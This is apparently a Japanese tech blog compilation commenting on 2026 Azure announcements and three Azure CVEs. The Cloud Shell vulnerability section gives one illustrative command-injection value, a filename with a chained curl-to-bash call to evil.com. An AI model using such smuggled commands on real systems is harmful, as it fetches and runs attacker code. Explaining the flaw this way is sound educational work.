ただ、CVE-2026-31431のような脆弱性は、マネージドKubernetesを使っていても安心できないことを改めて示している。「Azureが管理してくれる」は半分正しくて半分間違いで、ノードイメージのアップグレードは結局ユーザーが主体的に行う必要がある。自動アップグレードの設定を今一度見直しておくことを強くお勧めする。特権昇格の脆弱性はコンテナのセキュリティ境界を無効化するため、最速での対応が求められる。 AI時代にGPUの監視・管理が重要インフラとなりつつある今、こうした積み重ねがプラットフォームの信頼性を支えている。AKSはAzureの中でも着実に進化しているサービスの一つだ。 出典: この記事は AKS Release 2026-04-28: Gateway API ingress GA and GPU metrics default support の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

RSAC 2026において、MicrosoftはSecurity StoreをMicrosoft EntraおよびMicrosoft PurviewのポータルUIへ直接統合し、GA（一般提供）を開始した。セキュリティチームがパートナーソリューションを探す際に、慣れ親しんだ管理コンソールを離れる必要がなくなるという、一見地味に見えて実は大きなワークフロー改善だ。加えて、自然言語でセキュリティ目標を記述するだけで最適なソリューションを推薦するAI機能「Security Store Advisor」も同時にGAとなった。 Microsoft Security Storeとは何か Microsoft Security Storeは、Microsoftエコシステムパートナーによるセキュリティソリューションのマーケットプレイスだ。これまではAzure Marketplaceや独立したポータルを経由してアクセスする必要があったが、今回の統合によりMicrosoft EntraとMicrosoft Purviewのポータル内から直接アクセスできるようになった。 アイデンティティ管理の文脈でパートナー製品を評価したい場合はEntraのポータルから、データガバナンスやコンプライアンスの文脈ではPurviewのポータルから、そのままソリューションを検索・評価・展開できる。「コンテキストスイッチングのコスト」を削減するという発想であり、単なるUIの利便性向上に留まらない設計上の意図がある。 AI Security Store Advisorの実力 今回のGA機能の中でも注目したいのが AI Security Store Advisor だ。 「フィッシング攻撃への対策を強化したい」「外部委託先のアクセス管理を改善したい」といった自然言語のセキュリティ目標を入力すると、適切なパートナーソリューションを推薦してくれる。技術担当者でなくても、セキュリティの課題を言葉にするだけで具体的な選択肢が提示される点は、組織の入口問題を解消する実用的な価値がある。 ただし、AIの推薦はあくまでも「入口」であり、最終的な選定は技術要件・コスト・既存環境との整合性を踏まえた上で人間が判断すべきである点は変わらない。 実務への影響 セキュリティチームのワークフロー断絶が解消 従来、セキュリティツールの選定プロセスには多くのコンテキスト切り替えが伴っていた。管理コンソールで課題を特定し、マーケットプレイスへ移動して検索し、評価し、また管理コンソールへ戻るという往復だ。この摩擦が、特に小・中規模組織で「後回し」の温床となっていた。 今回の統合はその往復を削減する。Entraで認証周りの課題を見つけたその瞬間に、適切なMFAソリューションや条件付きアクセスの補強ツールを発見できるようになる。 ゼロトラスト実装の加速に直結 Microsoft Entraはゼロトラストアーキテクチャにおけるアイデンティティ管理の中心的な存在だ。Security StoreがEntraに統合されたことで、ゼロトラスト実装に必要な周辺ツールをアイデンティティ管理の文脈で一元評価できるようになる。特にNHI（Non-Human Identities）管理、Just-In-Timeアクセス、Privileged Identity Management（PIM）の補強ツールを探しているチームにとっては、アクセス性が大きく向上する。 日本のエンタープライズへの示唆 日本の大手エンタープライズでは、セキュリティツールの選定に複数部門の承認が必要なケースが多い。AI Security Store Advisorがビジネスサイドにも理解できる言葉でソリューションを推薦できるようになれば、技術者と経営層・調達部門の橋渡しとしても活用できるだろう。「何を入れればいいかわからない」という段階で足踏みしている組織の背中を押す機能として機能する可能性がある。 筆者の見解 セキュリティ管理における「ワークフローの断絶」は、実は軽視されがちな問題だ。ツールがいかに優秀でも、使う場所が管理コンソールから離れていると、現場での採用率は確実に下がる。MicrosoftがSecurity StoreをEntraとPurviewに統合したのは、その本質的な課題を正面から解決しようとする試みであり、方向性としては正しい。 エージェントの管制塔としてMicrosoft Entra IDを位置づけるMicrosoftの長期戦略を考えると、Entraポータルがセキュリティエコシステムのハブになっていくこの流れは自然だ。「アイデンティティがすべての入口である」というゼロトラストの哲学と整合しており、プラットフォームとしての強みを活かした取り組みといえる。 AI Security Store Advisorについては、過度な期待は禁物だが、専任のセキュリティアーキテクトがいない中規模組織にとって「適切な問いを立てること自体が難しい」という現実がある。AIが最初の問いを整理し、選択肢を示してくれるのは、実務的な価値として十分だ。 こうした統合を「UI改善の積み重ね」に留めず、エコシステム全体の信頼性と整合性の向上に繋げてほしい。プラットフォームとしての強みを活かせる領域で、正面から勝負できる力がMicrosoftには十分にある。 出典: この記事は Strengthening Security Posture: Microsoft Security Store Embedded in Entra and Purview at RSAC 2026 の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

Red Hat Summit 2026（5月11〜14日、アトランタ）で、MicrosoftとRed Hatが「AIを本番で動かすためのプラットフォーム」としてAzure Red Hat OpenShift（ARO）を前面に押し出した。注目すべきは技術の新しさではなく、「AIパイロットから本番移行」という多くの企業が直面する壁への、具体的な回答が示された点だ。 Microsoftがプラットフォームモダナイゼーション賞を受賞 MicrosoftはRed Hatから「2026年プラットフォームモダナイゼーション・パートナー・オブ・ザ・イヤー」を受賞した。加えて北米での「ハイブリッドクラウド・エブリウェア」部門での特別表彰も獲得している。この受賞は単なる関係強化のアピールではなく、AROを使った顧客の実際のビジネス成果が評価されたものだ。 ブラジル最大手銀行が示す「200以上のAIを統一ガバナンスで動かす」現実 今回の目玉事例はBanco Bradesco（ブラジル最大手級の金融機関）だ。同行はAROを基盤として、200以上のAIイニシアチブを統一ガバナンスのもとで本番運用している。 重要なのは「実験」ではなく「本番運用」であることだ。Azure のIDマネジメント（Microsoft Entra ID）、セキュリティポリシー、コンプライアンス機能とシームレスに統合しながら、厳格な金融規制下で大規模AIを稼働させている。 「AIを200本入れれば200倍の複雑さ」——これが多くの組織の悩みだが、ARO＋Azure統合によってガバナンスを一元化することで、その複雑さを制御可能にした実例がBanco Bradescaだ。 データ主権と規制対応：スイスでの事例 もう一つの事例はTopicus社が提供するAkkuro（融資プラットフォーム）だ。スイス・ノースリージョンにARO上でデプロイすることで、スイスの金融データをスイス国内に留めつつ、ドキュメント駆動型の与信判断をKubernetes基盤で実現している。 データ主権（Data Sovereignty）は日本でも重要なテーマだ。個人情報保護法の改正動向や業界ごとの規制を踏まえれば、「クラウドに乗せるが国内に留める」という需要は今後ますます高まる。 プラットフォームの強化ポイント：4つの優先領域 AROの最新強化は以下の4領域に集中している。 1. モダナイゼーション（仮想化プラットフォームからの移行） OpenShift Virtualizationにより、VMとコンテナを単一プラットフォーム上で同時稼働できる。VMwareからの移行を検討している企業にとって、「全部コンテナ化してから移行」ではなく「まず乗り換えてから段階的に近代化」という現実的なパスが提供される。RHELエンタイトルメントとAzure Hybrid Benefitの組み合わせにより、ライセンスコストの最適化も可能だ。 2. セキュリティ センシティブなアプリケーションとデータのクラウド移行において、IDガバナンスとポリシー管理の統合は不可欠だ。AROはAzureのセキュリティサービスと深く統合されており、企業が求める「クラウド上での制御可能性」を提供する。 3. AIイノベーション AIワークロードを本番スケールで動かすには、モデルを作る能力より「安全・安定・スケーラブルに運用する」能力が問われる。AROはそのためのKubernetes基盤を、MicrosoftとRed Hatが共同でサポートする形で提供する。 4. グローバル展開 複数リージョンへの均一なデプロイモデルは、グローバル展開を進める企業にとって大きな強みだ。Topicusの事例のように、地域ごとのコンプライアンス要件に応じながら同一のアーキテクチャを展開できる。 実務への影響——日本のエンジニア・IT管理者へ VMwareからの移行を検討中の方へ：OpenShift Virtualizationは「まずVMをAROに乗せ、段階的にコンテナ化する」という現実的なロードマップを可能にする。一足飛びのコンテナ化を強制されない点は、大規模なモダナイゼーション現場では大きなポイントだ。 AIガバナンスに悩む方へ：AI活用が部門ごとにバラバラになりがちな組織では、Banco Bradesco事例が参考になる。AIの入り口（プラットフォーム）を一本化することで、200以上のプロジェクトがあっても統一管理が可能になる。Azure Entra IDによるID管理を軸に据えることが重要だ。 金融・ヘルスケアなどの規制産業の方へ：データ主権とKubernetes基盤の組み合わせは、日本の厳格なコンプライアンス要件にも親和性が高い。Topicusの事例は「規制×クラウド×AI」の現実的なモデルを示している。 筆者の見解 「AIパイロットが多すぎて本番移行できない」という現象は、今や世界共通の課題になってきた。これは技術的な問題というより、ガバナンスとプラットフォームの選択の問題だ。 Microsoftがこの分野でRed Hatと深く連携しているのは、賢明な判断だと思う。Azureが最も得意とするのは「最先端のAIモデルを自社開発すること」ではなく、「エンタープライズが安心して動かせる基盤を提供すること」だ。Banco Bradesco事例が示すように、200以上のAIイニシアチブを統一ガバナンスで制御できるプラットフォームを作れるのは、IDとセキュリティとポリシー管理を一体で持つAzureならではの強みである。エージェントや自動化が広がる時代に、この「信頼できる基盤」としての役割はますます重要になる。 日本の大企業に目を向けると、まだ多くの組織がAIを「部門単位の実験」として扱っている段階だ。次のステップは「全社的な本番運用基盤」を構築することだが、そこにKubernetesとIDガバナンスを組み合わせたAROのようなアプローチは有効な選択肢となりうる。 一方で、「プラットフォームが整備されればAIが勝手に価値を生む」という幻想は早めに手放した方がいい。基盤は大事だが、その上で何を動かすか、誰がビジネス成果に責任を持つか——そこを問い続けることが、パイロットの墓場に陥らないための本質的な処方箋だ。 出典: この記事は Red Hat Summit 2026: Platform Modernization and AI on Azure Red Hat OpenShift の内容をもとに、筆者の見解を加えて独自に執筆したものです。 ...

AI基盤の拡大に伴い、「インフラドリフト」——実際の状態と定義した望ましい状態のズレ——が静かに組織のリスクを高めている。Microsoftが公開した実践ガイドは、マルチリポジトリ構成のAzure AIインフラを「自己修復型」に設計するアーキテクチャパターンを詳解する。単なる運用ベストプラクティスではなく、スケールするAI基盤の信頼性を根本から支える設計思想として注目したい。 インフラドリフトとは何か IaC（Infrastructure as Code）が普及し、TerraformやBicepでインフラを定義する組織が増えた。しかし「コードで定義した」だけでは安心できない。誰かが緊急対応でAzureポータルから直接設定を変更した、自動スケールの過程で意図しないリソースが生まれた、APIバージョンがサイレントに更新された——こうした積み重ねが「ドリフト」を生む。 AI基盤では特に深刻だ。Azure OpenAIのモデルバージョン、Azure AI Foundryのエンドポイント設定、ネットワークルール、マネージドID（Managed Identity）の権限スコープ。どれか一つがズレれば、モデルの応答品質が下がるだけでなく、セキュリティポスチャが崩れる可能性もある。 マルチリポジトリ構成が複雑さを倍増させる 大規模AIインフラが必然的にマルチリポジトリ構成を取ることが問題を複雑にする。 基盤リポジトリ: VNet、サブネット、Entra IDの構成 AIプラットフォームリポジトリ: Azure AI Foundry、Azure OpenAI、Cognitive Services アプリケーションリポジトリ: モデルを呼び出すアプリ層 これらが独立したライフサイクルで動く。あるリポジトリの変更が別のリポジトリの期待値を崩す「クロスリポジトリドリフト」は、単純な差分チェックでは検知できない。 自己修復アーキテクチャの3つのパターン ガイドが示す自己修復の主要パターンは次の3軸だ。 1. GitOpsによる継続的調整 「コードリポジトリが唯一の真実（Single Source of Truth）」という原則をAzure環境に適用する。Azure Arc + Flux CDなどを使い、Gitの状態から環境が逸脱したら自動的に再適用する。人手による修正は「PRを通してコードを変更する」という形に統一される。 2. Azure PolicyとDeployment Stacksの連携 Azure Policyのコンプライアンス評価を「検知」として使い、非準拠リソースにはDeployment Stacksで管理された状態への強制ロールバックをかける。ネットワーク設定や診断ログのように「いつの間にか消えている」パターンに特に有効だ。 3. カスタム状態スキャナー＋Event Grid連携 よりきめ細かい要件には、Azure Functionsで定期的な状態スキャナーを実装し、ドリフト検知をEvent Gridに発行。下流のLogic Apps / Azure Automation Runbookが自動修復を実行するパターンが示されている。 実務への影響 日本のエンタープライズでAzure AIを本番展開するチームにとって、実践ポイントは3つある。 ① マネージドIDの権限スコープをドリフト監視の対象に含める 「誰が何にアクセスできるか」はAI基盤のセキュリティの根幹だ。最小権限原則（PoLP）から逸脱したマネージドIDは、気づかないうちにセキュリティホールになる。Entra ID + Azure Policyでの定期監査をデプロイパイプラインに組み込むことを推奨する。 ② 「修復前に通知」ではなく「修復後に通知」の設計に変える 多くのチームは「異常を検知 → 担当者へアラート → 人間が修正」というフローを取る。しかしAI基盤の規模が大きくなると人間はボトルネックになる。「修復を先に実行し、内容をレポートする」設計に転換することで、オンコール担当者への疲弊を防ぎつつ信頼性を向上できる。 ...

音声AIがまた一段階進化した。2026年5月8日、Microsoft Foundryに3つの新しいリアルタイム音声モデルが追加された。GPT-realtime-2、GPT-realtime-translate、GPT-realtime-whisperの3モデルで、それぞれが音声AIの異なる課題を正面から解決しようとしている。音声インターフェースを業務に組み込みたいと考えているエンジニアにとって、見逃せないアップデートだ。 3モデルの特徴を整理する GPT-realtime-2：推論×リアルタイム音声の融合 従来のリアルタイム音声モデルの最大の弱点は「考えながら話せない」ことだった。速さと深さはトレードオフで、複雑な質問への応答は精度を犠牲にするか、応答遅延を許容するかの二択だった。 GPT-realtime-2はこの構造に踏み込み、内部推論（Internal Reasoning）をリアルタイム音声対話パイプライン上に統合した。加えてロングコンテキスト対応が加わり、長い会話履歴を保持したままでの応答が可能になった。複雑な業務フローを音声で操作するエージェントを作るとき、この2点の組み合わせは決定的に効いてくる。 GPT-realtime-translate：70言語以上の音声をその場で翻訳 70以上の言語を入力として受け付け、13言語へリアルタイムで翻訳して音声出力する。単なる文字起こし＋テキスト翻訳の組み合わせではなく、音声→音声のパイプラインで遅延を最小化している点が重要だ。日本語も出力対応言語に含まれており、インバウンド対応やグローバルな社内コミュニケーションのシナリオで即戦力として使える。 GPT-realtime-whisper：文字起こし専用の高精度モデル 音声認識に特化したモデルで、精度と処理速度のバランスを取りながら大量の音声を処理するシナリオに最適化されている。会議の議事録自動化やコールセンターのログ記録など、大量バッチ処理が求められる現場向けだ。 なぜこれが重要か 音声AIの実用化で長年の壁となってきたのが「精度・遅延・多言語対応」のトリレンマだった。どれかを改善しようとすると別の要素が犠牲になる。今回のリリースはその構造を少しずつ崩しにきている。 特に日本の文脈でインパクトが大きいのは多言語翻訳だ。コールセンターの外国語対応、海外拠点との会議、訪日外国人向けサービス——これらの領域でのハードルが一気に下がった可能性がある。もちろん業務品質を満たせるかは実際の検証が必要だが、「試す価値がある段階」には確実に到達している。 実務への影響 コールセンター・カスタマーサポート リアルタイム翻訳モデルを使えば、外国語話者からの問い合わせを日本語オペレーターが受け付ける運用が現実的になる。オペレーターに求められるスキルセットが変わる可能性がある。 議事録・文字起こし自動化 GPT-realtime-whisperを使った自動文字起こしは既存の業務フローに組み込みやすい。TeamsやSharePointとの連携を視野に入れると、Microsoft Foundry経由で利用することで運用の一元化が図れる。 社内エージェント構築 GPT-realtime-2の推論能力とロングコンテキストの組み合わせは、音声で操作する社内業務エージェントの応答精度を引き上げる。Microsoft Entra IDと組み合わせたアクセス制御を重ねることで、セキュリティ要件を満たしながら音声エージェントを展開できる構成が整ってきた。 既存Azure環境からの移行コスト これらのモデルはMicrosoft Foundryを通じて利用できる。既にAzureを使っている組織なら、追加のインフラ変更なしに導入を試せる点は大きなアドバンテージだ。 筆者の見解 音声AIは昨年から今年にかけて、PoC（概念実証）から実用化フェーズへの移行が本格化している。今回の3モデル追加はその流れを加速するものとして素直に評価したい。 個人的に注目しているのは、Microsoft Foundryというプラットフォームの方向性そのものだ。汎用モデルだけでなく、音声特化・翻訳特化・文字起こし特化という用途別のモデル群を揃えることで、「最適なモデルを選んで組み合わせる」アーキテクチャが現実的に選べるようになってきた。エージェントの管制塔としてEntra IDを使い、Foundry上で用途に応じたモデルを組み合わせて動かす——この構成が実用レベルで使えるようになってきたことは、Microsoft基盤を使い続ける理由としてきちんと機能している。 一点だけ率直に言うと、70言語入力・13言語出力という数字の差は現時点での制約を正直に示している。業務での全面採用を判断する前に、実際のユースケースで精度と遅延を自分たちで検証することは省略できない。「使えると言えば使える」から「業務品質に到達している」は別の話だからだ。 とはいえ、試さない理由はない。今月中に検証環境で動かしてみることを強くお勧めしたい。6ヶ月後に「あのとき動いていれば」と言わないためにも。 出典: この記事は A New Chapter for Realtime AI: Reasoning, Translation, and Real-Time Transcription の内容をもとに、筆者の見解を加えて独自に執筆したものです。

AIエージェントが複数のツールを呼び出しながら長時間タスクをこなす——そのオーケストレーション基盤として注目されていたAzure Durable Task SchedulerのConsumption SKUが、一般提供（GA）を迎えた。地味なアナウンスに見えるが、AIエージェントを本番に持ち込もうとしているエンジニアにとっては見逃せないマイルストーンだ。 Durable Task Schedulerとは何か Durable Functionsは、長時間実行・複数ステップのワークフローをAzure Functions上で実装するためのフレームワークだ。そのバックエンドとして「ステート管理・タスクスケジューリング」を担うのがDurable Task Scheduler。従来はAzure Storageアカウントをバックエンドとして使うのが一般的だったが、スケーリングやレイテンシの面で課題があった。Durable Task Schedulerはそのバックエンドを刷新するもので、高スループット・低レイテンシ・シンプルな管理を実現する。 Consumption SKUのポイント 今回GAとなったConsumption SKUの最大のポイントは従量課金だ。ワークフローのオーケストレーション実行数に応じた課金なので、常時稼働の必要がない間欠的なワークロードや、予測しにくいAIエージェントのタスク量に対して非常に相性がいい。 従来のプランではキャパシティ計画（ノード数・ストレージ量の事前確保）が必要だったが、Consumption SKUではその煩わしさが消える。「動いた分だけ払う」という設計は、スタートアップのPoC（概念実証）から大企業のパイロット展開まで、幅広いフェーズで活躍する。 対応環境の広さ もう一つ注目したいのが対応環境の幅広さだ。Azure Functions単体にとどまらず、Azure Container Apps、AKS（Azure Kubernetes Service）でも利用できる。コンテナ化されたアーキテクチャやKubernetesネイティブな環境でも同一のオーケストレーションバックエンドを使えるのは、ハイブリッドなアーキテクチャを採用している企業にとって大きなメリットだ。 AIエージェントとの親和性 特に見逃せないのはAIエージェントのマルチステップオーケストレーションとの相性だ。エージェントが「情報収集 → 分析 → 承認待ち → 実行 → 結果報告」のような複数ステップを経る場合、その状態を適切に管理する基盤が不可欠になる。Durable Task Schedulerはまさにその設計思想を持っており、Consumption SKUのGAによってプロダクション用途での採用障壁が大きく下がった。 実務への影響 日本のエンジニア・IT管理者にとっての実践的な活用ポイントをまとめる。 1. AIエージェント基盤の構築に使う マルチステップのAIオーケストレーションをAzure上に構築する際の第一選択肢として検討する価値がある。従量課金なので、開発・テスト段階から気兼ねなく使い始められる。 2. 既存のDurable Functionsを移行する すでにDurable Functionsをストレージバックエンドで運用している場合、Durable Task Schedulerへの移行でパフォーマンスと管理コストの改善が期待できる。バックエンドの差し替えに近い形で移行できるため、既存コードの大幅な書き換えは不要だ。 3. キャパシティ計画から解放される 「将来の負荷を見越してリソースを事前確保する」というオーバープロビジョニングの文化から抜け出す良い機会だ。コスト予測が「実行数 × 単価」に近い形で行えるようになる。 4. Container Apps / AKSとの統合 マイクロサービス構成でContainer AppsやAKSを使っている場合、同じオーケストレーション基盤を統一することで、分散システムの複雑性を一段階抑えられる。 筆者の見解 Durable Task SchedulerのConsumption SKUのGAは、派手さはないが実務レベルでじわじわ効いてくる重要なアップデートだと見ている。 ...

ブラウザベースのシェルが「Azureサブスクリプションごと奪われる」可能性があった 2026年5月7日、Microsoft Security Response Center（MSRC）がAzure Cloud Shellのクリティカル脆弱性「CVE-2026-35428」を正式に公開した。コマンドインジェクションを伴うスプーフィング脆弱性であり、悪用に成功した攻撃者はユーザーのCloud Shellセッション内で任意コードを実行し、そのセッションに紐づくAzureサブスクリプション全体を支配下に置くことができた可能性がある。 ただし、利用者側の対処は一切不要。 Microsoftはすでに公開前にサービス側のガバナンス更新を全グローバルインフラに展開しており、ダウンロードやパッチ適用なしに攻撃ベクタをブロック済みだ。 「パッチ不要」という結論だけを見て安心するのは早い。この一件は、Azureのクラウドシェル環境がどのような構造で動いており、どこにリスクが潜むかを鮮明に示している。 Azure Cloud Shellとは何か——便利さの裏側にある「継承リスク」 Azure Cloud Shellは、Azure Portal・Azureモバイルアプリ・shell.azure.comから直接アクセスできるブラウザベースのシェル環境だ。ユーザーごとに管理コンテナが払い出され、BashとPowerShellの両方をサポートする。認証はMicrosoft Entra ID（旧Azure Active Directory）が担い、サインイン済みのIDに紐づくAzure RBAC権限がそのままシェルプロセスに継承される。 この「継承」こそが便利さであり、同時に今回の脆弱性が致命的なポテンシャルを持っていた理由でもある。セッションを乗っ取られた瞬間、攻撃者はKey Vaultのシークレット読み取りからリソース削除まで、ユーザーと同等の権限を手にする。 脆弱性の技術的な仕組み——コマンドインジェクションという古典的な罠 CVE-2026-35428の根本原因はコマンドインジェクションだ。ユーザーが入力した文字列を適切なサニタイズなしにシェルコマンドへ組み込む実装上の欠陥で、セキュリティの世界では「古典的」と呼ばれるほど歴史が長い。 具体例で考えると分かりやすい。仮にCloud Shellがユーザー入力のファイル名を受け取って ls -la <filename> を実行する機能を持っていたとする。入力が file.txt; curl http://evil.com/shell.sh | bash であれば、セミコロン以降が別コマンドとして実行されてしまう。Cloud Shellの文脈では、その後続コマンドはユーザーのAzure RBAC権限で走る。 「スプーフィング」という分類は、攻撃者が正規ユーザーやシェル環境の信頼されたコンポーネントに成りすましてコマンドを実行できる点を指しているとみられる。CVSSスコアはMSRCが「クリティカル」と評した以上、おそらく8.5以上。コンテナ単位の分離によって一人のユーザーへの影響は封じ込められるとはいえ、自動化された攻撃であれば数千セッションを連鎖的に狙うシナリオも排除できない。 Microsoftの対応——「ガバナンス更新」という見えない修正 今回のMicrosoftの対応は特筆に値する。パッチファイルの配布や利用者への設定変更要求を一切伴わず、サービス側のガバナンスロジックを更新して攻撃ベクタを封じた。完全マネージドサービスのメリットをフルに活かした対応だ。 開示のタイミングも計算されている。「修正後に公開」という手順は、CVEの公開が即座に攻撃者へのレシピを提供しないようにするためのベストプラクティスに沿っている。 実務への影響——日本のエンジニア・IT管理者が今すぐ確認すべきこと 利用者側の対処が不要であっても、この脆弱性は以下の観点で実務的な振り返りのきっかけになる。 1. Cloud Shellセッションに「過剰な権限」を持たせていないか確認する Cloud Shellはサインインユーザーの権限をそのまま継承する。管理作業のために常時グローバル管理者でサインインしている環境は、それだけでリスク面積が広い。作業ごとにJust-In-Time（JIT）で必要な権限だけを付与するPIM（Privileged Identity Management）の活用を検討したい。 2. 条件付きアクセスポリシーでCloud Shellへのアクセス元を絞る どのIPやデバイスからでもCloud Shellにアクセスできる状態は好ましくない。準拠デバイス要件や特定のIPレンジへの限定を条件付きアクセスポリシーで設定することで、セッションハイジャックが発生しても攻撃の入口を狭められる。 3. Azure Monitorのアクティビティログを定期的にレビューする 今回のような脆弱性の悪用は、CloudShellセッション内での想定外のAPIコールとして痕跡が残りやすい。AzureActivity テーブルを使ったKustoクエリで、Cloud Shellセッション中の予期しないリソース操作を検知するアラートを整備しておくとよい。 4. Non-Human Identity（NHI）の権限棚卸しを併せて実施する Cloud Shellを使って払い出したサービスプリンシパルやマネージドIDに不必要な権限が残っていないか。今回の脆弱性はCloud Shell経由の乗っ取りを起点に、その先のNHIへの横移動を可能にする。NHIの定期的な棚卸しと最小権限の原則の徹底が改めて重要だ。 ...

Azure Monitor の通知・自動対応の要となる Action Groups に、権限昇格（Elevation of Privilege）の脆弱性が発見された。CVE番号は CVE-2026-41105、CVSSスコアは 8.1（High）。2026年5月7日に Microsoft Security Response Center（MSRC）が公開し、同日中にクラウドインフラ側で自動パッチが適用されている。ユーザー側での対応は現時点で不要とされているが、この問題が改めて示す「クラウド管理面における最小権限設計」の重要性は、見過ごすには惜しい教訓が詰まっている。 CVE-2026-41105 とは何か 本脆弱性は、Azure Monitor が特定の Action Group 操作に対して認可処理を行う部分に存在する。技術的な詳細は未公開だが、攻撃者が細工したリクエストを送ることで通常のアクセス制御を迂回できるとされる。注目すべき条件は以下の3点だ。 ネットワーク越しに攻撃可能——ローカルアクセスは不要 ユーザー操作不要——被害者の操作を誘導する必要がない 攻撃複雑度: 低——実証コードが公開されれば比較的容易に悪用可能 現時点では野に放たれた悪用は報告されていないが、脆弱性が公開されれば逆エンジニアリングの試みが増えるのは歴史的な傾向だ。「CVSS 8.1 だが自動修正済み」という状況でも、設計の問いとして受け取る価値がある。 Action Groups は「クラウド運用の自律神経」 Action Groups は、Azure Monitor アラートが発火したときに何をするかを定義するオブジェクトだ。メール・SMS・プッシュ通知の送信にとどまらず、Azure Functions の実行、Logic Apps の起動、Webhook の呼び出しまで担う。 問題はその「権力の大きさ」にある。インフラのスケールアウト、インシデント対応チームへの通知、修復スクリプトの実行——これらをすべて Action Groups は自動で動かせる。裏を返すと、「正当なアラートを握りつぶす」「誤った自動応答を意図的に発火させる」「リンクされた Azure リソースへ横断的に侵入する」といった攻撃経路が、Action Groups の侵害によって開きうる。 NHI（Non-Human Identity）としての Action Groups は、まさに「人間の代わりに動く自律エージェント」だ。この権限管理が甘いまま自動化を積み上げると、便利さと引き換えに攻撃対象面を静かに広げていることになる。 既に自動パッチ適用済み——でも安心だけでは足りない Microsoft は今回、迅速に動いた。クラウド側で自動適用されたため、ユーザー企業が手動でパッチを当てる必要はない。オンプレミス製品なら「テスト → 承認 → 段階適用」で数週間かかるところが、クラウドでは透過的に対処される——これがクラウドへ移行する真の利点のひとつだ。 ただし「パッチが当たったから終わり」とは思わないでほしい。今回の問題が問いかけているのは、「あなたの環境の Action Groups はどのくらいの権限を持っているか、誰がその権限を把握しているか」という設計の話だ。 実務への影響——日本のエンジニア・IT 管理者へ 今すぐ確認（影響評価） MSRC ポータルまたは Microsoft Defender for Cloud で自社サブスクリプションへの影響評価を確認 Azure Activity Log で、通常とは異なる Action Group の変更操作がないかを確認（侵害の痕跡チェック） 中期的に整理すべき設計の棚卸し ...

2026年5月7日、Azure DevOpsに影響を与えるCVSSスコア10——つまり脆弱性の深刻度として取り得る最高値——の情報漏洩脆弱性が公開された。CVE-2026-42826として登録されたこの問題は、認証なしのネットワーク上の攻撃者がAzure DevOps上の機密情報にアクセスできるというものだ。現時点でMicrosoftはサービス側での対処完了を発表しており、利用者側での緊急対応は不要とされている。しかし、その技術的背景と含意は、DevOpsを運用する日本のIT現場にとって決して無視できない。 CVE-2026-42826とは何か 今回の脆弱性は、コードインジェクションやバッファオーバーフローではない。アクセス制御の不備によって、認証されていない外部の攻撃者がネットワーク経由で機密情報を取得できる「データ漏洩型」の問題だ。 CVSSスコア10は、以下の条件が重なった結果として算出される： 認証不要（Unauthenticated）：ユーザー名もパスワードも必要ない ネットワーク経由（Network-accessible）：物理的なアクセスなしに遠隔から攻撃可能 ユーザー操作不要（No user interaction）：誰かにリンクをクリックさせる必要もない CVSSで10を取るということは「組み合わせとして最悪の条件が全部揃っている」ことを意味する。スコアを見た瞬間に状況の深刻さが伝わる、数字のインパクトがある。 何が漏れた可能性があるか アドバイザリーには具体的なデータ種別の記載はないが、Azure DevOpsが管理するリソースを考えると、以下が漏洩対象として想定される： ソースコード：リポジトリへの不正アクセス ビルド定義・パイプライン設定：CI/CDの詳細な構成情報 シークレット・APIキー：ビルドパイプラインに埋め込まれた認証情報 環境変数：本番環境の接続文字列など 特に深刻なのは、ビルドパイプライン上のシークレットだ。「ビルド時だけ必要だから」とパイプライン変数に書き込まれた認証情報が、DevOpsプラットフォームを通じて外部から閲覧できる状態にあった可能性がある。 サプライチェーン攻撃への悪用リスク 攻撃者がソースコードとビルド設定を入手できれば、コードへのバックドア挿入や依存パッケージのすり替えが現実的な選択肢になる。ソフトウェアサプライチェーンへの攻撃は、開発元の被害にとどまらず、そのソフトウェアを使用するすべての組織に波及する可能性がある。このため、今回の脆弱性は単なる「情報漏洩」の枠を超えた影響力を持つ。 実務への影響——今日から見直せること 修正はMicrosoft側で完了しているが、このタイミングで以下の点を棚卸しする価値は十分ある。 ビルドパイプライン上のシークレット管理を再点検 「今動いているから大丈夫」は根拠にならない。Azure DevOpsのビルド変数に直接書かれているAPIキーやパスワードは、Azure Key VaultやManaged Identity（マネージドID）への移行計画を立てるべきだ。仕組みを変えるだけで、類似した問題が起きた際の被害を大幅に抑えられる。 Non-Human Identity（NHI）の権限を絞る サービスプリンシパルやマネージドIDに「とりあえず広め」の権限を割り当てていないか確認しよう。NHIに与えた権限の広さが、漏洩時のダメージに直結する。最小権限の原則（Least Privilege）は、机上の概念ではなく被害封じ込めの実用的な手段だ。 ログとアラートの整備 認証なしでの情報アクセスを試みる挙動は、適切な監視があれば早期発見できる可能性がある。Azure MonitorやMicrosoft Defender for DevOpsのアラートが正しく構成されているか、この機会に確認したい。 筆者の見解 セキュリティ系の記事は「また脆弱性か」と流れがちだが、CVSS 10は別格だ。これは理論上取り得る最悪の評価であり、「修正済みだから大丈夫」という言葉だけで安心するのは危険だと思っている。 気になるのは、脆弱性の具体的なメカニズムが今もアドバイザリーに記載されていない点だ。「認証不要で情報が漏れる」という事実は明らかになっているのに、どのエンドポイントが問題だったか、影響を受けたバージョンの範囲がどこかは公開されていない。透明性という観点では、修正完了後の詳細な事後説明をぜひお願いしたいところだ。 Azure DevOpsは日本でも多くの企業のソフトウェア開発の中枢を担っている。プラットフォームへの信頼が問われる局面だからこそ、技術的な対処だけでなく、情報開示の誠実さも問われる。Microsoftにはその力がある。正面から向き合う姿勢を示してほしい。 今後に向けて言えば、「シークレットをパイプラインに直接置かない」「NHIの権限は最小限に絞る」「常時ログを監視する」——この3点は脆弱性の有無に関係なく、ゼロトラスト時代の基本設計として徹底する価値がある。今回の事象を、自組織のDevOpsセキュリティを見直す良いきっかけにしてほしい。 出典: この記事は CVE-2026-42826: Azure DevOps Critical Information Disclosure – CVSS 10 の内容をもとに、筆者の見解を加えて独自に執筆したものです。

